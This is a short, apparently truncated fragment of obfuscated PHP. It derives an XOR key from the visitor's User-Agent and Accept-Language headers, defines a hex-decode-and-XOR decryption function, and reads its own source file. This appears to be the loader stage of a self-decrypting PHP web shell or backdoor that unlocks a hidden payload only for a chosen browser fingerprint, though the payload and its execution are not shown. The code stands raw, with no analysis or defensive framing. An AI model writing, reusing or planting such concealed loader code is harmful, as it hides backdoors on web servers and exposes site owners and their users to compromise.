$tdfxkve = $_SERVER["HTTP_USER_AGENT"];
$tdfxkve .= $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$yajvyzp = md5($tdfxkve);
function ifuxpdw($fnkleqh, $tdfxkve){
	$yajvyzp="";
	$kpszrew = strlen($fnkleqh);
	for($fnrpcjc=0;$fnrpcjc<$kpszrew;$fnrpcjc+=2)
		$yajvyzp.=urldecode("%".substr($fnkleqh,$fnrpcjc,2));
	
	$strLen = strlen($yajvyzp);
	$kpszrew = strlen($tdfxkve);
    $icaqzve = "";
    for($fnrpcjc=0; $fnrpcjc<$strLen; $fnrpcjc++){
		$uacommw = $fnrpcjc % $kpszrew;
        $icaqzve .= chr(ord($yajvyzp[$fnrpcjc])^ord($tdfxkve[$uacommw]));
    }
	return $icaqzve;
}
$fnkleqh = __FILE__ ;
$kpszrew = fopen($fnkleqh,"r");
$fnrpcjc = fread($kpszrew,filesize($fnkleqh));